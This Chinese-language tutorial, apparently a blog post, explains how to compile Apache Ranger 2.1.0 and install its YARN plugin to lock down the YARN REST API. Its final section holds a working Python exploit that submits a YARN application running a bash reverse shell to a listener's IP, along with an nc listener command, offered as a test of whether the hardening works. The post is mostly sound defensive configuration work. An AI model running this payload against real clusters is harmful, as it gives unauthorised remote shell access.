为啥要加固yarn的rest API,如果你不知道这个危害,请先跳到[验证开启后Ranger加固的yarn API能否任意用户提交](#0x04 验证开启后Ranger加固的yarn API能否任意用户提交)做一个小实验。

0x00 编译Ranger 2.10

Ranger当前在GitHub中最新版本是2.2.0。安装ranger需要源码安装,官方没有提供编译好的二进制包,同时,对于要使用ranger部署的Hadoop组件,需要考虑到版本之间的兼容性。

官网地址:https://ranger.apache.org/

Git地址:https://github.com/apache/ranger

需要提前安装JDK 8
和Maven 3.6.2,git,python3。

1
git clone --branch release-ranger-2.1.0 https://github.com/apache/ranger.git

编译RANGER-2.1.0

1
2
cd /opt/ranger-release-ranger-2.1.0
mvn clean compile package install -DskipTests -Drat.skip=true -X

如果编译编译过程中代码审计pmd报错,增加-Dpmd.skip=true跳过代码审计。大约十多分钟或者更长(时间取决于当前网络和配置环境),可编译完成。本人mac环境编译的时候,出现pmd的问题,重新编译发现好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
[INFO] ------------------------------------------------------------------------
[INFO] Reactor Summary for ranger 2.1.0:
[INFO]
[INFO] ranger ............................................. SUCCESS [ 7.944 s]
[INFO] Jdbc SQL Connector ................................. SUCCESS [ 6.473 s]
[INFO] Credential Support ................................. SUCCESS [ 10.465 s]
[INFO] Audit Component .................................... SUCCESS [ 15.970 s]
[INFO] ranger-plugin-classloader .......................... SUCCESS [ 4.009 s]
[INFO] Common library for Plugins ......................... SUCCESS [ 27.224 s]
[INFO] ranger-intg ........................................ SUCCESS [ 12.193 s]
[INFO] Installer Support Component ........................ SUCCESS [ 5.599 s]
[INFO] Credential Builder ................................. SUCCESS [ 8.060 s]
[INFO] Embedded Web Server Invoker ........................ SUCCESS [ 9.956 s]
[INFO] Key Management Service ............................. SUCCESS [ 25.738 s]
[INFO] HBase Security Plugin Shim ......................... SUCCESS [ 14.372 s]
[INFO] HBase Security Plugin .............................. SUCCESS [ 20.089 s]
[INFO] Hdfs Security Plugin ............................... SUCCESS [ 13.964 s]
[INFO] Hive Security Plugin ............................... SUCCESS [ 26.883 s]
[INFO] Knox Security Plugin Shim .......................... SUCCESS [ 9.238 s]
[INFO] Knox Security Plugin ............................... SUCCESS [ 15.365 s]
[INFO] Storm Security Plugin .............................. SUCCESS [ 11.507 s]
[INFO] YARN Security Plugin ............................... SUCCESS [ 6.555 s]
[INFO] Ozone Security Plugin .............................. SUCCESS [ 10.283 s]
[INFO] Ranger Util ........................................ SUCCESS [ 9.566 s]
[INFO] Unix Authentication Client ......................... SUCCESS [ 4.494 s]
[INFO] Security Admin Web Application ..................... SUCCESS [10:28 min]
[INFO] KAFKA Security Plugin .............................. SUCCESS [ 33.178 s]
[INFO] SOLR Security Plugin ............................... SUCCESS [01:01 min]
[INFO] NiFi Security Plugin ............................... SUCCESS [ 8.443 s]
[INFO] NiFi Registry Security Plugin ...................... SUCCESS [ 10.814 s]
[INFO] Presto Security Plugin ............................. SUCCESS [ 22.196 s]
[INFO] Kudu Security Plugin ............................... SUCCESS [ 7.895 s]
[INFO] Unix User Group Synchronizer ....................... SUCCESS [01:01 min]
[INFO] Ldap Config Check Tool ............................. SUCCESS [ 4.519 s]
[INFO] Unix Authentication Service ........................ SUCCESS [ 8.384 s]
[INFO] KMS Security Plugin ................................ SUCCESS [ 17.510 s]
[INFO] Tag Synchronizer ................................... SUCCESS [ 28.337 s]
[INFO] Hdfs Security Plugin Shim .......................... SUCCESS [ 6.519 s]
[INFO] Hive Security Plugin Shim .......................... SUCCESS [ 37.575 s]
[INFO] YARN Security Plugin Shim .......................... SUCCESS [ 6.836 s]
[INFO] OZONE Security Plugin Shim ......................... SUCCESS [ 7.100 s]
[INFO] Storm Security Plugin shim ......................... SUCCESS [ 8.423 s]
[INFO] KAFKA Security Plugin Shim ......................... SUCCESS [ 7.447 s]
[INFO] SOLR Security Plugin Shim .......................... SUCCESS [ 7.916 s]
[INFO] Atlas Security Plugin Shim ......................... SUCCESS [ 9.427 s]
[INFO] KMS Security Plugin Shim ........................... SUCCESS [ 7.915 s]
[INFO] Presto Security Plugin Shim ........................ SUCCESS [ 18.663 s]
[INFO] ranger-examples .................................... SUCCESS [ 0.546 s]
[INFO] Ranger Examples - Conditions and ContextEnrichers .. SUCCESS [ 7.152 s]
[INFO] Ranger Examples - SampleApp ........................ SUCCESS [ 2.304 s]
[INFO] Ranger Examples - Ranger Plugin for SampleApp ...... SUCCESS [ 5.534 s]
[INFO] sample-client ...................................... SUCCESS [ 7.678 s]
[INFO] Apache Ranger Examples Distribution ................ SUCCESS [ 16.708 s]
[INFO] Ranger Tools ....................................... SUCCESS [ 18.736 s]
[INFO] Atlas Security Plugin .............................. SUCCESS [ 10.479 s]
[INFO] SchemaRegistry Security Plugin ..................... SUCCESS [02:13 min]
[INFO] Sqoop Security Plugin .............................. SUCCESS [ 15.775 s]
[INFO] Sqoop Security Plugin Shim ......................... SUCCESS [ 7.302 s]
[INFO] Kylin Security Plugin .............................. SUCCESS [01:29 min]
[INFO] Kylin Security Plugin Shim ......................... SUCCESS [ 8.446 s]
[INFO] Elasticsearch Security Plugin Shim ................. SUCCESS [ 5.992 s]
[INFO] Elasticsearch Security Plugin ...................... SUCCESS [ 12.424 s]
[INFO] Apache Ranger Distribution ......................... SUCCESS [04:26 min]
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 31:36 min
[INFO] Finished at: 2022-11-14T09:57:11+08:00
[INFO] ------------------------------------------------------------------------

编译成功后,在ranger当前目录下的target下生成各种插件包:

image-20221114163713312

0x01 使用ranger-yarn-plugin加固yarn

问题参考:Apache Ranger中Yarn插件使用问题

我们在ranger的target目录下,找到ranger-2.1.0-yarn-plugin.tar.gz文件,通过scp命令复制到USDP安装yarn的路径下:/opt/usdp-srv/srv/udp/2.0.0.0/yarn/:

ranger插件需要安装到yarn的ResourceManager节点,其他yarn节点不安装。

1
scp target/ranger-2.1.0-yarn-plugin.tar.gz root@10.20.210.41:/opt/usdp-srv/srv/udp/2.0.0.0/yarn/

待上传成功后,登录10.20.210.41服务器,解压该文件:

1
2
3
cd /opt/usdp-srv/srv/udp/2.0.0.0/yarn/
tar -zxvf ranger-2.1.0-yarn-plugin.tar.gz
mv ranger-2.1.0-yarn-plugin ranger-yarn-plugin

/opt/usdp-srv/srv/udp/2.0.0.0/yarn/ranger-yarn-plugin中找到install.properties配置文件,对其进行配置(仅仅修改下面这几个值,其他的不改变):

1
2
3
4
5
6
7
# POLICY_MGR_URL=http://10.20.210.44:6080,这个可以配置为具体的RANGER-ADMIN的服务器IP,
# 也可以像下面这样配置,想必USDP做了一定的处理,能找到POLICY_MGR_URL这个变量
POLICY_MGR_URL={{POLICY_MGR_URL}}
REPOSITORY_NAME=ranger-yarn-service
COMPONENT_INSTALL_DIR_NAME=/srv/udp/2.0.0.0/yarn
CUSTOM_USER=hadoop
CUSTOM_GROUP=hadoop

保存配置文件,我们以root的身份执行./enable-yarn-plugin.sh,对插件安装。

检验是否安装成功,可以通过/srv/udp/2.0.0.0/yarn/etc/hadoop/yarn-site.xml文件的内容可以判断:

1
2
3
4
5
6
7
8
9
10
11
12
13
<property>
<name>yarn.acl.enable</name>
<value>true</value>
</property>
<property>
<name>yarn.admin.acl</name>
<value/>
</property>

<property>
<name>yarn.authorization-provider</name>
<value>org.apache.ranger.authorization.yarn.authorizer.RangerYarnAuthorizer</value>
</property>

org.apache.ranger.authorization.yarn.authorizer.RangerYarnAuthorizer表示配置成功了。

0x02 修改yarn的调度模式为Capacity

yarn有三种调度模式:FIFO SchedulerCacpacity SchedulerFair Scheduler。默认为Fair Scheduler

依然在yarn-site.xml中修改配置,请注意不要通过USDP的控制台修改,会覆盖已经配置的信息。

1
2
3
4
5
6
7
<property>
<name>yarn.resourcemanager.scheduler.class</name>
<!-- 默认是容量调度器 -->
<!--<value>org.apache.hadoop.yarn.server.resourcemanager.scheduler.capacity.FairScheduler</value>-->
<value>org.apache.hadoop.yarn.server.resourcemanager.scheduler.capacity.CapacityScheduler</value>
</property>

至此,yarn的配置结束,我们在USDP控制台重启yarn resourceManager组件。

0x03 在Ranger-Admin UI配置yarn ACL

在USDP服务管理的安全类中打开ranger-admin的管理平台。

登录管理后台:

Ranger管理后台登录界面

默认登录用户名密码为:admin/admin

在Ranger的服务管理界面找到YARN的服务配置,点击“+”,添加新的配置。

image-20221114170456627

配置内容如下:

Name Value
Service Name ranger-yarn-service 必须,和install.properties中配置的保持一致
Display Name ranger-yarn-service 随便写
Username hadoop 必须是hadoop
Password hadoop 必须是hadoop
YARN REST URL http://10.20.210.53:8088,http://10.20.210.54:8088 yarn ResourceManager的地址
Authentication Type Simple
Add New Configurations policy.download.auth.users=hadoop
policy.grantrevoke.auth.users=hadoop
该项配置中,=前面的是key,=后面的是value

其他的ACL权限的配置,参考网络教程,一大堆翻翻即可。

0x04 验证开启后Ranger加固的yarn API能否任意用户提交

这段python代码是通过yarn的rest api获取一个application-id,然后通过该application-id执行bash命令。将下面的代码保存在invoke.py中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python

import requests

target = 'http://10.20.210.53:8088/'
lhost = '10.30.1.1' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)

在你的机器上打开两个命令窗口,第一个执行监听9999端口:

1
nc -l 9999

另外一个窗口执行python脚本:

1
python invoke.py

结论:

  • 如果注入成功,监听9999端口的窗口会登录到目标机10.20.210.53,在窗口执行pwd就会发现有/tmp/xxxx/application-id相关字样。
  • 如果注入被拦截,9999监听窗口不会有变化,执行python脚本的窗口也不会有变化。